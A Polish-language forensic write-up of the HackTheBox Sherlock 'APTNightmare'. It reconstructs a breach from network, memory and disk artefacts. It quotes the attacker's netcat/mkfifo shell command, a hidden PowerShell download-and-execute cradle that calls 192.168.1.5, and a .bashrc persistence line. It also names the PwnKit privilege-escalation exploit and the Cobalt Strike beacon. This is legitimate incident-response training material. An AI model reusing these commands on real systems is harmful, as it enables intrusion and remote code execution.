HTB Sherlock - APTNightmare Writeup
![](/pl/post/sherlock-aptnightmare/featured_hu13e3c305e35da4d660d93c036cf2748d_237312_1200x2500_fit_q75_h2_lanczos_3.webp)
Scenariusz Zadania
Zaniedbaliśmy priorytetowe traktowanie solidnego zabezpieczenia naszej sieci i serwerów, w wyniku czego zarówno nasza organizacja, jak i nasi klienci padli ofiarą cyberataku. Pochodzenie i metody tego naruszenia pozostają nieznane. Wykryto liczne podejrzane e-maile. W dążeniu do rozwiązania problemu, jako ekspert śledczy, musisz być w stanie nam pomóc.
(ang. We neglected to prioritize the robust security of our network and servers, and as a result, both our organization and our customers have fallen victim to a cyber attack. The origin and methods of this breach remain unknown. Numerous suspicious emails have been detected. In our pursuit of resolution, As an expert forensics investigator, you must be able to help us.).
Artefakty
W zadaniu znajdziemy następujące artefakty (Rys 1):
DiskImage_CEO-US.zip
: skompresowany plik z kopią katalogów dysku głównego C komputera CEO.Memory_WebServer.mem
: zrzut pamięci serwera web.Ubuntu_5.3.0-70-generic_profile.zip
: skompresowany plik zawierający foldery /boot i /tools z maszyny Ubuntu.traffic.pcapng
: przechwycony ruch sieciowy.
Rozwiązanie
Zadanie 1
Jaki jest adres IP zainfekowanego serwera web?
(ang. What is the IP address of the infected web server?)
Zacząłem od przejrzenia ruchu siecowego dostarczonego w pliku traffic.pcapng
, aby określić przepływ ruchu, potencjalnego atakującego, naruszone aktywa itp. Wykorzystałem do tego Wireshark.
Zauważyłem, że przechwycony ruch sieciowy obejmuje okres 52 minuty i 22 sekundy, od 2024-02-05 02:30:40 do 2024-02-05 03:23:02, z łączną liczbą 55 577 przechwyconych pakietów (Rys 2).traffic.pcapng.
Aby zorientować się, jakie adresy biorą udział w przepływie ruchu, najpierw spróbowałem wykryć, które adresy IP wymieniają największą ilość informacji. W tym celu skorzystałem z zakładki “Conversations”. Tam zauważyłem dwa wyróżniające się adresy IP, 192.168.1.5 i 192.168.1.3, które wymieniły między sobą aż 35 821 pakietów, co znacznie je wyróżnia spośród pozostałych (Rys 3).
Po przefiltrowaniu komunikacji dla tych dwóch adresów IP zauważyłem, że z adresu 192.168.1.5 wysyłanych jest wiele żądań HTTP metodą GET do adresu 192.168.1.3. Pozwoliło mi to wywnioskować, że adres IP 192.168.1.3 należy do serwera, natomiast 192.168.1.5 jest adresem IP atakującego (Rys 4).
Odpowiedź: 192.168.1.3
Zadanie 2
Jaki jest adres IP atakującego?
(ang. What is the IP address of the Attacker?)
W poprzednim zadaniu zidentyfikowałem adres IP serwera web oraz atakującego 192.168.1.5.
Odpowiedź: 192.168.1.5
Zadanie 3
Ile otwartych portów zostało odkrytych przez atakującego?
(ang. How many open ports were discovered by the attacker?)
Aby ustalić, które porty były otwarte podczas skanowania, musiałem najpierw przeanalizować komunikację pomiędzy serwerem a atakującym, aby określić, jaki rodzaj skanowania był przeprowadzany. Po chwili analizy zauważyłem, że do skanowania wykorzystano TCP SYN scan, który jest domyślnym typem skanowania w nmap (Rys. 5).
Wykryta metoda skanowania zgadza się z tym, co opisuje dokumentacja nmap. W przypadku wykrycia otwartego portu schemat komunikacji wygląda tak, jak przedstawiono na rysunku 6. W przypadku wykrycia zamkniętego portu komunikacja wygląda tak, jak na rysunku 7.
Wiedząc to, mogłem stworzyć odpowiednie filtry w Wireshark, aby wyszukiwać właściwe pakiety. Szukałem odpowiedzi SYN/ACK od zainfekowanego serwera do atakującego, co wskazuje na to, że port jest otwarty (Rys. 8).
W ten sposób teoretycznie uzyskałem informację, że było otwartych 15 portów (Rys. 9). Natomiast to nie była prawda. Dlatego sprawdziłem, czy wcześniej wspomniana sekwencja komunikacji zachodzi dla każdego wykrytego portu. Na przykład na rysunku 5 dla portu 53 widzieliśmy, że komunikacja przebiegła prawidłowo. Natomiast po przejrzeniu portów zauważyłem, że dla portu 5555 komunikacja nigdy nie zostaje nawiązana, tzn. nigdy nie zachodzi pełna sekwencja, więc taki port interpretujemy jako zamknięty (Rys. 10).
Dlatego też, prawidłową ilością wykrytych portów na adresie 192.168.1.3
jest 14
Odpowiedź: 14
Zadanie 4
Jakie jest pierwsze pięć portów zidentyfikowanych przez atakującego w kolejności numerycznej podczas fazy enumeracji, nie biorąc pod uwagę kolejności ich odkrycia?
(ang. What are the first five ports identified by the attacker in numerical order during the enumeration phase, not considering the sequence of their discovery?)
Wykorzystując informacje z zadania 3, użyłem polecenia head -5
(Rys. 11).
Odpowiedź: 25,53,80,110,119
Zadanie 5
Atakujący wykorzystał błędną konfigurację, która umożliwiła mu enumerację wszystkich subdomen. Ta błędna konfiguracja jest powszechnie określana jako (np. brak ograniczeń kontroli dostępu)?
(ang. The attacker exploited a misconfiguration allowing them to enumerate all subdomains. This misconfiguration is commonly referred to as (e.g, Unrestricted Access Controls)?)
Z treści zadania wynika, że atakujący pozyskał informacje o wszystkich subdomenach. Dlatego w pierwszej kolejności skupiłem się na inspekcji ruchu dla protokołu DNS. To był strzał w dziesiątkę - od razu rzucił mi się w oczy pakiet AXFR, czyli żądanie transferu całej strefy DNS. Oznacza to, że atakujący poprosił główny serwer DNS o dostarczenie całej strefy, dzięki czemu poznał wszystkie dostępne subdomeny (Rys 12).
Odpowiedź: DNS Zone Transfer
Zadanie 6
Ile subdomen zostało odkrytych przez atakującego?
(ang. How many subdomains were discovered by the attacker?)
Z poprzedniego zadania - atakujący wykrył 9 subdomen.
Odpowiedź: 9
Zadanie 7
Jaka jest przejęta subdomena (np. dev.example.com)?
(ang. What is the compromised subdomain (e.g., dev.example.com)?)
Tym razem było zdecydowanie prościej. Odfiltrowałem ruch dla samej komunikacji HTTP i od razu przewinąłem na sam koniec komunikacji. Moją uwagę zwrócił pakiet 32414, który odwoływał się do endpointa /dashboard.php
. Na tym etapie atakujący na pewno miał już dostęp do serwera :) Szczęśliwym trafem od razu znalazłem odpowiedź na zadanie 9 (Rys. 13).
Odpowiedź: sysmon.cs-corp.cd
Zadanie 8
Jakiego adresu e-mail i hasła użyto do zalogowania się (np. [email protected]:password123)?
(ang. What email address and password were used to log in (e.g., [email protected]:password123)?)
Logowanie do serwera web zazwyczaj odbywa się za pomocą metody POST. Dlatego najpierw rozpocząłem przeglądanie ruchu od tych pakietów. Podczas analizy moją uwagę zwróciła seria żądań POST skierowanych do /index.php
, a następnie żądanie skierowane do /dashboard.php
(Rys. 14)./dashboard.php
.
Po śledzeniu przepływu ruchu HTTP (HTTP Stream) zauważyłem, że w pierwszym żądaniu POST do /index.php
przekazywane są dane logowania jako parametry. Następnie to żądanie otrzymuje odpowiedź HTTP 302, czyli przekierowanie do /dashboard.php
, który jest prawidłowo wywoływany (Rys. 15).
Odpowiedź: [email protected]:Pass@000_
Zadanie 9
Jakie polecenie dało atakującemu początkowy dostęp?
(ang. What command gave the attacker their initial access?)
Odpwiedź znaleziona przy okazji rozwiązywania zadania nr 7 (Rys 16).
Odpowiedź: |mkfifo /tmp/mypipe;cat /tmp/mypipe|/bin/bash|nc -l -p 5555 >/tmp/mypipe
Zadanie 10
Jaki jest identyfikator CVE dla podatności, którą wykorzystał atakujący do osiągnięcia eskalacji uprawnień (np. CVE-2016-5195)?
(ang. What is the CVE identifier for the vulnerability that the attacker exploited to achieve privilege escalation (e.g, CVE-2016-5195) ?)
Z zadania 9 wiem, że atakujący uzyskał dostęp do serwera za pomocą reverse shell na porcie 5555. Dlatego tym razem odfiltrowałem komunikację dla tego portu i skorzystałem ze śledzenia ruchu TCP (Follow TCP Stream). Przeglądając polecenia wykonane przez atakującego, zauważyłem, że pobiera i uruchamia skrypt o nazwie PwnKit, po czym otrzymuje uprawnienia roota (Rys. 17).
Skrypt PwnKit znalazłem na GitHubie pod tym adresem: https://github.com/ly4k/PwnKit. W opisie skryptu podane jest CVE-2021-4034, które jest wykorzystywane do eskalacji uprawnień (Rys. 18).
Odpowiedź: CVE-2021-4034
Zadanie 11
Jaki jest identyfikator MITRE techniki użytej przez atakującego do osiągnięcia trwałości (np. T1098.001)?
(ang. What is the MITRE ID of the technique used by the attacker to achieve persistence (e.g, T1098.001)?)
Przeglądając komunikację pomiędzy serwerem a atakującym poprzez nawiązane połączenie reverse shell, znajdujemy odpowiedź na pytanie (Rys 19). Atakujący modyfikuje crontab w celu osiągnięcia trwałości. Według MITRE ATT&CK technika ta nosi nazwę Scheduled Task/Job: Cron i ma identyfikator T1053.003.
Odpowiedź: T1053.003
Zadanie 12
Atakujący manipulował oprogramowaniem hostowanym na subdomenie ‘download’ w celu uzyskania dostępu do użytkowników końcowych. Jaki jest identyfikator techniki Mitre ATT&CK dla tego ataku?
(ang. The attacker tampered with the software hosted on the ‘download’ subdomain with the intent of gaining access to end-users. What is the Mitre ATT&CK technique ID for this attack?)
W tej samej komunikacji znalazłem modyfikacje plików w katalogu download (Rys 20). Według MITRE ATT&CK technika ta nosi nazwę Supply Chain Compromise: Compromise Software Supply Chain i ma identyfikator T1195.002.
Odpowiedź: T1195.002
Zadanie 13
Jakie polecenie zapewniło trwałość w pliku cs-linux.deb?
(ang. What command provided persistence in the cs-linux.deb file?)
Z poprzedniej wykrytej komunikacji atakującego z serwerem za pomocą reverse shell, wykryłem, że pobierał on plik cs-linux.deb
za pomocą protokołu HTTP. Wykorzystałem więc opcję Export Objects w Wiresharku dla protokołu HTTP (Rys. 21).
Znalazłem i wyeksportowałem plik cs-linux.deb
z komunikacji (Rys. 22).
Następnie, za pomocą programu mc, sprawdziłem zawartość pakietu. W katalogu /CONTENTS/usr/bin
znalazłem plik cs-linux
(Rys. 23).
Po sprawdzeniu jego zawartości okazało się, że jest ona obfuskowana (Rys. 24).
Do zdeobfuskowania zawartości wykorzystałem Cyberchef (Rys. 25).
Odpowiedź: echo cs-linux && >> ~/.bashrc
Zadanie 14
Atakujący wysyłał e-maile do pracowników. Jak nazywa się proces działający, który to umożliwił?
(ang. The attacker sent emails to employees, what the name for the running process that allowed this to occur?)
Dalsza komunikacja w pliku się kończy. W związku z tym zacząłem przyglądać się zrzutowi pamięci, który otrzymaliśmy (plik: Memory_WebServer.mem
). Próby analizy pliku za pomocą Volatility oraz Volatility3 się nie powiodły - Volatility nie było w stanie przetworzyć pliku. W związku z tym wykorzystałem stary dobry sposób, używając programów strings oraz grep. Najpierw wyeksportowałem wszystkie znaki za pomocą polecenia strings Memory_WebServer.mem > Memory_WebServer.strings, a następnie rozpocząłem poszukiwania. Zadanie nie było łatwe, ponieważ plik był dość spory. W końcu, przeszukując plik za pomocą różnych słów kluczowych, natrafiłem na kolejną listę procesów. Zainteresował mnie proces citserver, który po sprawdzeniu okazał się serwerem mailowym (Rys. 26).
Memory_WebServer.mem
.
Odpowiedź: citserver
Zadanie 15
Otrzymaliśmy phishingowy e-mail. Czy możesz podać temat tego e-maila?
(ang. We received phishing email can you provide subject of email?)
Znając format wiadomości e-mail, wiedziałem, że musi zawierać słowo kluczowe Subject:
, które ustawia temat dla wysyłanej wiadomości. Za pomocą polecenia grep -i "Subject:" Memory_WebServer.strings
wyszukałem wszystkie wystąpienia tego słowa w pliku. Ku mojemu zdziwieniu, nie było ich dużo, a jedynym tematem wiadomości, jaki został wykryty, było Review Revised Privacy Policy
(Rys. 27).Memory_WebServer.mem
.
Odpowiedź: Review Revised Privacy Policy
Zadanie 16
Jaka jest nazwa złośliwego załącznika?
(ang. What is the name of the malicious attachment?)
Skoro z poprzedniego zadania nam już tytuł wiadomości, której szukam, kolejnym krokiem było znalezienie nazwy wysłanego załącznika. Przeszukując plik pod kątem Revised Privacy Policy
, natrafiłem na wiadomość o treści:
Dear CEO, I hope this message finds you well. We've drafted our updated privacy policy ahead of schedule. Please review the attached document and share any objections or suggestions with HR via email. Your input is valuable. Thank you.
Od razu można wywnioskować, że jest to próba phishingu. W dalszej części wiadomości widać wysyłany załącznik oraz nazwę pliku (Rys. 28).
Odpowiedź: policy.docm
Zadanie 17
Proszę zidentyfikować nazwy użytkowników CEO, którzy otrzymali załącznik.
(ang. Please identify the usernames of the CEOs who received the attachment.)
Tutaj również poszukiwania zajęły mi chwilę. Na początku błędnie założyłem, że adresat CEO oraz pole To
będą w jednej linii, jednak polecenie grep "To: ceo" Memory_WebServer.strings
nie zwracało żadnych wyników. Inne kombinacje tego rozwiązania również nie przyniosły rezultatów. Po chwili zauważyłem, że CEO rozsyła złośliwą wiadomość do innych pracowników (Rys. 29).
Ile wiadomości wysłał CEO? Analizując plik, okazało się, że pole From
występuje tylko 4 razy dla dwóch osób (Rys. 30). Ręczne sprawdzenie, czy obie osoby wysłały plik z załącznikiem, nie stanowiło już problemu.
Odpowiedź: ceo-ru, ceo-us
Zadanie 18
Jaka jest nazwa hosta przejętego CEO?
(ang. What is the hostname for the compromised CEO?)
Rozpakowując plik DiskImage_CEO-US.zip
, który zawiera częściową kopię plików znajdujących się na komputerze należącym do CEO, znalazłem dwa pliki: kolejny plik ZIP o nazwie 2024-02-05T024017_DiskImage.zip
oraz 2024-02-05T02_40_17_5711568_ConsoleLog.txt
(Rys. 31).DiskImage_CEO-US.zip
.
Sprawdzając zawartość pliku 2024-02-05T02_40_17_5711568_ConsoleLog.txt
, już prawie na samym początku pliku znalazłem nazwę hosta należącego do CEO (Rys 32).
Odpowiedź: DESKTOP-ELS5JAK
Zadanie 19
Jaka jest pełna ścieżka do złośliwego załącznika?
(ang. What is the full path for the malicious attachment?)
Po rozpakowaniu pliku 2024-02-05T024017_DiskImage.zi
p otrzymałem częściową kopię plików znajdujących się na komputerze CEO (Rys. 33). Plików jest bardzo dużo, zawierają między innymi kopie dzienników systemowych, zrzut tablicy MFT i wiele innych.2024-02-05T024017_DiskImage.zip
Dlatego pierwszą rzeczą, którą wykonałem, było rekursywne przeszukiwanie za pomocą grep w celu znalezienia plików zawierających nazwę policy.docm
. Grep znalazł kilka plików, takich jak MFT czy też link. Zanim jednak zabrałem się do analizy MFT, sprawdziłem zawartość plików link i okazało się, że za pierwszym razem znalazłem prawidłową ścieżkę do pliku (Rys. 34).
Odpowiedź: C:\Users\ceo-us\Downloads\policy.docm
Zadanie 20
Czy możesz podać polecenie użyte do uzyskania początkowego dostępu?
(ang. Can you provide the command used to gain initial access?)
Pierwszym krokiem, jaki wykonałem, było sprawdzenie, czy otrzymaliśmy pliki dzienników systemowych z komputera CEO. Okazało się, że jest ich całkiem sporo, w związku z czym ręczne ich przeszukiwanie nie wchodziło w grę (Rys. 35).
Dlatego do przeszukiwania dzienników wykorzystałem narzędzie Chainsaw. Założyłem też, że makro będzie wykonywać jakieś polecenie PowerShell. Za pomocą polecenia ./target/release/chainsaw search --skip-errors 'powershell.exe' C/
udało mi się znaleźć odpowiedni event (Rys. 36).
Odpowiedź: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.5:806/a'))
Zadanie 21
Podaj popularną etykietę zagrożenia dla złośliwego pliku wykonywalnego użytego do uzyskania początkowego dostępu?
(ang. Provide a Popular threat label for the malicious executable used to gain initial access?)
Z poprzedniego zadania wiem, że atakujący pobrał plik za pomocą PowerShell z portu 806 (Rys. 36). Wróciłem więc do analizy ruchu zawartego w pliku traffic.pcapng
. Tam znalazłem komunikację odbywającą się na porcie 806. Za pomocą śledzenia TCP stream udało mi się pobrać całą komunikację (Rys. 37).
Znalazłem w niej kolejne polecenia PowerShell, które zostały wykonane na systemie. Jedno z poleceń zawierało dalej zafuskowaną część. Z treści zadania wiem, że szukam pliku binarnego, dlatego w kolejnym kroku deobfuskowałem wykryty ciąg base64. Okazało się, że jest to kolejny kod w PowerShell (Rys. 38) zawierający kolejny zafuskowany ciąg znaków.
Po deobfuskacji kolejnego ciągu znaków za pomocą CyberChef (Rys. 39) doszedłem do ostatniego kroku. Jest to plik binarny. Po jego pobraniu potwierdziłem to za pomocą polecenia file
(Rys. 40). Następnie wgrałem plik do VirusTotal (Rys. 41). Tutaj pojawił się mały problem: Popular threat label wskazywał na trojan.beacon/cobaltstrike
, co nie było prawidłową odpowiedzią. Trochę pokombinowałem z nazwą i okazało się, że prawidłową odpowiedzią jest trojan.cobaltstrike/beacon
(thx: Michał :)).
file
pobrania pliku wykonywalnego dla systemu Windows.
Odpowiedź: trojan.cobaltstrike/beacon
Zadanie 22
Jaki jest typ ładunku?
(ang. What is the payload type?)
Korzystając z podpowiedzi do zadania, znalazłem plik 1768.py, który okazał się skryptem do analizowania beaconów Cobalt Strike. Po uruchomieniu polecenia python3 1768.py -r download.exe
otrzymałem odpowiedź (Rys. 42).
Odpowiedź: windows-beacon_http-reverse_http
Zadanie 23
Jaka nazywa się zadania dodane przez atakującego?
(ang. What is task name has been add by attacker?)
Tutaj poszło znacznie prościej, a rozwiązanie znalazłem przypadkiem. Na początku próbowałem wykryć dodane zadanie za pomocą narzędzia chainsaw
, lecz nie znajdowało ono nic konkretnego. Grzebiąc w plikach, zauważyłem, że wszystkie zadania znajdujące się na hoście CEO znajdują się w katalogu C/Windows/System32/Tasks
. Za pomocą polecenia find . -exec cat {} \;
wylistowałem zawartość wszystkich zadań. Zadanie dodane przez atakującego było na samym końcu. Moją uwagę zwróciły polecenia dodane w zadaniu, zwłaszcza wywołanie pliku c:\Windows\system32\cmd.exe
z argumentami /c start C:\Users\Public\WindowsUpdate.exe
, które są bardzo nietypowe (Rys. 43).
Odpowiedź: WindowsUpdateCheck